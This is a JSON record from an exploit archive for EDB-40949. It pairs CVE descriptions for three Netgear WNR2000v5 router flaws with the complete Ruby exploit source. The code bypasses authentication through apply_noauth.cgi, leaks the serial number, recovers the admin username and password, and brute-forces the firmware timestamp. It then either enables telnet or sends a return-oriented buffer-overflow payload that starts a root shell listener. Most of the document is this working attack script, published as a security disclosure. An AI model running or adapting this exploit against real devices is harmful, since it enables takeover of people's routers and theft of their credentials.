{"exploit":{"id":"EDB-40949","name":"Netgear WNR2000v5 - 'apply_noauth.cgi' Authentication Bypass / Buffer Overflow / Remote Code Execution (RCE)","description":"Netgear WNR2000v5 - 'apply_noauth.cgi' Authentication Bypass / Buffer Overflow / Remote Code Execution (RCE)","cves":["CVE-2016-10176","CVE-2016-10175","CVE-2016-10174"],"author":"Pedro Ribeiro","published":"2016-12-21","platform":"cgi","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/40949","path":"exploits/cgi/remote/40949.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-40949.rb","vulnerabilities":[{"id":"CVE-2016-10176","state":"PUBLISHED","title":null,"titleSource":null,"description":"The NETGEAR WNR2000v5 router allows an administrator to perform sensitive actions by invoking the apply.cgi URL on the web server of the device. This special URL is handled by the embedded web server (uhttpd) and processed accordingly. The web server also contains another URL, apply_noauth.cgi, that allows an unauthenticated user to perform sensitive actions on the device. This functionality can be exploited to change the router settings (such as the answers to the password-recovery questions) and achieve remote code execution.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2016-10176","cvss":{"version":"3.0","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2016-10176"},"updatedAt":"2024-08-06T03:14:42.584Z","retrievedAt":"2026-11-27T03:11:23.335Z","stale":false,"error":null},{"id":"CVE-2016-10175","state":"PUBLISHED","title":null,"titleSource":null,"description":"The NETGEAR WNR2000v5 router leaks its serial number when performing a request to the /BRS_netgear_success.html URI. This serial number allows a user to obtain the administrator username and password, when used in combination with the CVE-2016-10176 vulnerability that allows resetting the answers to the password-recovery questions.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2016-10175","cvss":{"version":"3.0","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2016-10175"},"updatedAt":"2024-08-06T03:14:42.168Z","retrievedAt":"2026-11-27T03:27:08.033Z","stale":false,"error":null},{"id":"CVE-2016-10174","state":"PUBLISHED","title":null,"titleSource":null,"description":"The NETGEAR WNR2000v5 router contains a buffer overflow in the hidden_lang_avi parameter when invoking the URL /apply.cgi?/lang_check.html. This buffer overflow can be exploited by an unauthenticated attacker to achieve remote code execution.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2016-10174","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2016-10174"},"updatedAt":"2025-10-21T23:55:46.735Z","retrievedAt":"2026-11-27T03:01:12.999Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-40949.png?v=2","url":"https://exploitbin.com/exploits/EDB-40949","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-40949/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-40949/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#\n# Remote code execution in NETGEAR WNR2000v5\n# - by Pedro Ribeiro (pedrib@gmail.com) / Agile Information Security\n# Released on 20/12/2016\n#\n# NOTE: this exploit is \"alpha\" quality and has been deprecated. Please see the modules\n# accepted into the Metasploit framework, or https://github.com/pedrib/PoC/tree/master/exploits/metasploit/wnr2000\n#\n#\n# TODO:\n# - randomise payload\n\nrequire 'net/http'\nrequire 'uri'\nrequire 'time'\nrequire 'digest'\nrequire 'openssl'\nrequire 'socket'\n\n####################\n# ported from https://git.uclibc.org/uClibc/tree/libc/stdlib/random.c\n# and https://git.uclibc.org/uClibc/tree/libc/stdlib/random_r.c\n\nTYPE_3 = 3\nBREAK_3 = 128\nDEG_3 = 31\nSEP_3 = 3\n\n@randtbl =\n[\n  # we omit TYPE_3 from here, not needed\n  -1726662223, 379960547, 1735697613, 1040273694, 1313901226,\n  1627687941, -179304937, -2073333483, 1780058412, -1989503057,\n  -615974602, 344556628, 939512070, -1249116260, 1507946756,\n  -812545463, 154635395, 1388815473, -1926676823, 525320961,\n  -1009028674, 968117788, -123449607, 1284210865, 435012392,\n  -2017506339, -911064859, -370259173, 1132637927, 1398500161,\n  -205601318,\n]\n\n@unsafe_state = {\n  \"fptr\" => SEP_3,\n  \"rptr\" => 0,\n  \"state\" => 0,\n  \"rand_type\" => TYPE_3,\n  \"rand_deg\" => DEG_3,\n  \"rand_sep\" => SEP_3,\n  \"end_ptr\" => DEG_3\n}\n\n# Emulate the behaviour of C's srand\ndef srandom_r (seed)\n  state = @randtbl\n  if seed == 0\n    seed = 1\n  end\n  state[0] = seed\n\n  dst = 0\n  word = seed\n  kc = DEG_3\n  for i in 1..(kc-1)\n    hi = word / 127773\n    lo = word % 127773\n    word = 16807 * lo - 2836 * hi\n    if (word < 0)\n      word += 2147483647\n    end\n    dst += 1\n    state[dst] = word\n  end\n\n  @unsafe_state['fptr'] = @unsafe_state['rand_sep']\n  @unsafe_state['rptr'] = 0\n\n  kc *= 10\n  kc -= 1\n  while (kc >= 0)\n    random_r\n    kc -= 1\n  end\nend\n\n# Emulate the behaviour of C's rand\ndef random_r\n  buf = @unsafe_state\n  state = buf['state']\n\n  fptr = buf['fptr']\n  rptr = buf['rptr']\n  end_ptr = buf['end_ptr']\n  val = @randtbl[fptr] += @randtbl[rptr]\n\n  result = (val >> 1) & 0x7fffffff\n  fptr += 1\n  if (fptr >= end_ptr)\n    fptr = state\n    rptr += 1\n  else\n    rptr += 1\n    if (rptr >= end_ptr)\n      rptr = state\n    end\n  end\n  buf['fptr'] = fptr\n  buf['rptr'] = rptr\n\n  result\nend\n#####################\n\n#####################\n# Ruby code ported from https://github.com/insanid/netgear-telenetenable\n#\ndef telnetenable (username, password)\n  mac_pad = @mac.gsub(':', '').upcase.ljust(0x10,\"\\x00\")\n  username_pad = username.ljust(0x10, \"\\x00\")\n  password_pad = password.ljust(0x21, \"\\x00\")\n  cleartext = (mac_pad + username_pad + password_pad).ljust(0x70, \"\\x00\")\n\n  md5 = Digest::MD5.new\n  md5.update(cleartext)\n  payload = (md5.digest + cleartext).ljust(0x80, \"\\x00\").unpack('N*').pack('V*')\n\n  secret_key = \"AMBIT_TELNET_ENABLE+\" + password\n  cipher = OpenSSL::Cipher::Cipher.new(\"bf-ecb\").send :encrypt\n  cipher.key_len = secret_key.length\n  cipher.key = secret_key\n  cipher.padding = 0\n  binary_data = (cipher.update(payload) << cipher.final)\n\n  s = UDPSocket.new\n  s.send(binary_data.unpack('N*').pack('V*'), 0, @target.split(':')[0], 23)\nend\n#####################\n\n# Do some crazyness to force Ruby to cast to a single-precision float and\n# back to an integer.\n# This emulates the behaviour of the soft-fp library and the float cast\n# which is done at the end of Netgear's timestamp generator.\ndef ieee754_round (number)\n  [number].pack('f').unpack('f*')[0].to_i\nend\n\n\n# This is the actual algorithm used in the get_timestamp function in\n# the Netgear firmware.\ndef get_timestamp(time)\n  srandom_r time\n  t0 = random_r\n  t1 = 0x17dc65df;\n  hi = (t0 * t1) >> 32;\n  t2 = t0 >> 31;\n  t3 = hi >> 23;\n  t3 = t3 - t2;\n  t4 = t3 * 0x55d4a80;\n  t0 = t0 - t4;\n  t0 = t0 + 0x989680;\n\n  ieee754_round(t0)\nend\n\n# Default credentials for the router\nUSERNAME = \"admin\"\nPASSWORD = \"password\"\n\ndef get_request(uri_str)\n  uri = URI.parse(uri_str)\n  http = Net::HTTP.new(uri.host, uri.port)\n  #http.set_debug_output($stdout)\n  request = Net::HTTP::Get.new(uri.request_uri)\n  request.basic_auth(USERNAME, PASSWORD)\n  http.request(request)\nend\n\ndef post_request(uri_str, body)\n  uri = URI.parse(uri_str)\n  header = { 'Content-Type' => 'application/x-www-form-urlencoded' }\n  http = Net::HTTP.new(uri.host, uri.port)\n  #http.set_debug_output($stdout)\n  request = Net::HTTP::Post.new(uri.request_uri, header)\n  request.basic_auth(USERNAME, PASSWORD)\n  request.body = body\n  http.request(request)\nend\n\ndef check\n  response = get_request(\"http://#{@target}/\")\n  auth = response['WWW-Authenticate']\n  if auth != nil\n    if auth =~ /WNR2000v5/\n      puts \"[+] Router is vulnerable and exploitable (WNR2000v5).\"\n      return\n    elsif auth =~ /WNR2000v4/ || auth =~ /WNR2000v3/\n      puts \"[-] Router is vulnerable, but this exploit might not work (WNR2000v3 or v4).\"\n      return\n    end\n  end\n  puts \"Router is not vulnerable.\"\nend\n\ndef get_password\n  response = get_request(\"http://#{@target}/BRS_netgear_success.html\")\n  if response.body =~ /var sn=\"([\\w]*)\";/\n    serial = $1\n  else\n    puts \"[-]Failed to obtain serial number, bailing out...\"\n    exit(1)\n  end\n\n  # 1: send serial number\n  response = post_request(\"http://#{@target}/apply_noauth.cgi?/unauth.cgi\", \"submit_flag=match_sn&serial_num=#{serial}&continue=+Continue+\")\n\n  # 2: send answer to secret questions\n  response = post_request(\"http://#{@target}/apply_noauth.cgi?/securityquestions.cgi\", \\\n    \"submit_flag=security_question&answer1=secretanswer1&answer2=secretanswer2&continue=+Continue+\")\n\n  # 3: PROFIT!!!\n  response = get_request(\"http://#{@target}/passwordrecovered.cgi\")\n\n  if response.body =~ /Admin Password: (.*)<\\/TD>/\n    password = $1\n  else\n    puts \"[-] Failed to obtain admin password, bailing out...\"\n    exit(1)\n  end\n\n  if response.body =~ /Admin Username: (.*)<\\/TD>/\n    username = $1\n  else\n    puts \"[-] Failed to obtain admin username, bailing out...\"\n    exit(1)\n  end\n\n  puts \"[+] Success! Got admin username #{username} and password #{password}\"\n  return [username, password]\nend\n\ndef get_current_time\n  response = get_request(\"http://#{@target}/\")\n\n  date = response['Date']\n  Time.parse(date).strftime('%s').to_i\nend\n\ndef get_auth_timestamp(mode)\n  if mode == \"bof\"\n    uri_str = \"http://#{@target}/lang_check.html\"\n  else\n    uri_str = \"http://#{@target}/PWD_password.htm\"\n  end\n  response = get_request(uri_str)\n  if response.code == 401\n    # try again, might fail the first time\n    response = get_request(uri_str)\n    if response.code == 200\n      if response.body =~ /timestamp=([0-9]{8})/\n        $1.to_i\n      end\n    end\n  end\nend\n\ndef got_shell\n  puts \"[+] Success, shell incoming!\"\n  exec(\"telnet #{@target.split(':')[0]}\")\nend\n\nif ARGV.length < 2\n  puts \"Usage: ./netgearPwn.rb <IP:PORT> <check|bof|telnet <MAC>> [noreboot]\"\n  puts \"\\tcheck: see if the target is vulnerable\"\n  puts \"\\tbof: run buffer overflow exploit on the target\"\n  puts \"\\ttelnet <mac>: run telnet exploit on the target, needs MAC address\"\n  puts \"\\tnoreboot: optional parameter - don't force a reboot on the target\"\n  exit(1)\nend\n\n@target = ARGV[0]\nmode = ARGV[1]\n\nif (ARGV.length > 2 && ARGV[2] == \"noreboot\") || (ARGV.length > 3 && ARGV[3] == \"noreboot\")\n  reboot = false\nelse\n  reboot = true\nend\n\nif mode == \"telnet\"\n  if ARGV.length == 3\n    @mac = ARGV[2]\n  elsif ARGV.length == 4\n    @mac = ARGV[3]\n  else\n    puts \"[-] telnet mode needs MAC address argument!\"\n    exit(-1)\n  end\nend\n\n# Maximum time differential to try\n# Look 5000 seconds back for the timestamp with reboot\n# 500000 with no reboot\nif reboot\n  TIME_OFFSET = 5000\nelse\n  TIME_OFFSET = 500000\nend\n\n# Increase this if you're sure the device is vulnerable and you're not getting a shell\nTIME_SURPLUS = 200\n\nif mode == \"check\"\n  check\n  exit(0)\nend\n\nif mode == \"bof\"\n  def uri_encode (str)\n    \"%\" + str.scan(/.{2}|.+/).join(\"%\")\n  end\n\n  def calc_address (libc_base, offset)\n    addr = (libc_base + offset).to_s(16)\n    uri_encode(addr)\n  end\n\n  system_offset = 0x547D0\n  gadget = 0x2462C\n  libc_base = 0x2ab24000\n\n  payload = 'a' * 36 +                                                                 # filler_1\n    calc_address(libc_base, system_offset) +                                           # s0\n    '1111' +                                                                           # s1\n    '2222' +                                                                           # s2\n    '3333' +                                                                           # s3\n    calc_address(libc_base, gadget) +                                                  # gadget\n    'b' * 0x40 +                                                                       # filler_2\n    \"killall telnetenable; killall utelnetd; /usr/sbin/utelnetd -d -l /bin/sh\"         # payload\nend\n\n# 0: try to see if the default admin username and password are set\ntimestamp = get_auth_timestamp(mode)\n\n# 1: reboot the router to get it to generate new timestamps\nif reboot and timestamp == nil\n  response = post_request(\"http://#{@target}/apply_noauth.cgi?/reboot_waiting.htm\", \"submit_flag=reboot&yes=Yes\")\n  if response.code == \"200\"\n    puts \"[+] Successfully rebooted the router. Now wait two minutes for the router to restart...\"\n    sleep 120\n    puts \"[*] Connect to the WLAN or Ethernet now. You have one minute to comply.\"\n    sleep 60\n  else\n    puts \"[-] Failed to reboot the router. Bailing out.\"\n    exit(-1)\n  end\n\n  puts \"[*] Proceeding...\"\nend\n\n# 2: get the current date from the router and parse it, but only if we are not authenticated...\nif timestamp == nil\n  end_time = get_current_time\n  if end_time <= TIME_OFFSET\n    start_time = 0\n  else\n    start_time = end_time - TIME_OFFSET\n  end\n  end_time += TIME_SURPLUS\n\n  if end_time < (TIME_SURPLUS * 7.5).to_i\n    end_time = (TIME_SURPLUS * 7.5).to_i\n  end\n\n  puts \"[+] Got time #{end_time} from router, starting exploitation attempt.\"\n  puts \"[*] Be patient, this might take up a long time (typically a few minutes, but maybe an hour or more).\"\nend\n\nif mode == \"bof\"\n  uri_str = \"http://#{@target}/apply_noauth.cgi?/lang_check.html%20timestamp=\"\n  body = \"submit_flag=select_language&hidden_lang_avi=#{payload}\"\nelse\n  uri_str = \"http://#{@target}/apply_noauth.cgi?/PWD_password.htm%20timestamp=\"\n  body = \"submit_flag=passwd&hidden_enable_recovery=1&Apply=Apply&sysOldPasswd=&sysNewPasswd=&sysConfirmPasswd=&enable_recovery=on&question1=1&answer1=secretanswer1&question2=2&answer2=secretanswer2\"\nend\n\n# 3: work back from the current router time minus TIME_OFFSET\nwhile true\n  for time in end_time.downto(start_time)\n    begin\n      if timestamp == nil\n        response = post_request(uri_str + get_timestamp(time).to_s, body)\n      else\n        response = post_request(uri_str + timestamp.to_s, body)\n      end\n      if response.code == \"200\"\n        # this only occurs in the telnet case\n        credentials = get_password\n        telnetenable(credentials[0], credentials[1])\n        sleep 5\n        got_shell\n        #puts \"Done! Got admin username #{credentials[0]} and password #{credentials[1]}\"\n        #puts \"Use the telnetenable.py script (https://github.com/insanid/netgear-telenetenable) to enable telnet, and connect to port 23 to get a root shell!\"\n        exit(0)\n      end\n    rescue EOFError\n      if reboot\n        sleep 0.2\n      else\n        # with no reboot we give the router more time to breathe\n        sleep 0.5\n      end\n      begin\n        s = TCPSocket.new(@target.split(':')[0], 23)\n        s.close\n        got_shell\n      rescue Errno::ECONNREFUSED\n        if timestamp != nil\n          # this is the case where we can get an authenticated timestamp but we could not execute code\n          # IT SHOULD NEVER HAPPEN\n          # But scream and continue just in case, it means there is a bug\n          puts \"[-] Something went wrong. We can obtain the timestamp with the default credentials, but we could not execute code.\"\n          puts \"[*] Let's try again...\"\n          timestamp = get_auth_timestamp\n        end\n        next\n      end\n    rescue Net::ReadTimeout\n      # for bof case, we land here\n      got_shell\n    end\n  end\n  if timestamp == nil\n    start_time = end_time - (TIME_SURPLUS * 5)\n    end_time = end_time + (TIME_SURPLUS * 5)\n    puts \"[*] Going for another round, increasing end time to #{end_time} and start time to #{start_time}\"\n  end\nend\n\n# If we get here then the exploit failed\nputs \"[-] Exploit finished. Failed to get a shell!\"","sha256":"46ad11457b5469922d4a18c785bbb1cf33bfa64b6730b8a20cbd3f9442000a41","bytes":12432,"fetchedAt":"2026-11-27T03:11:19.570Z","encoding":"utf-8 (display only; download retains original bytes)"}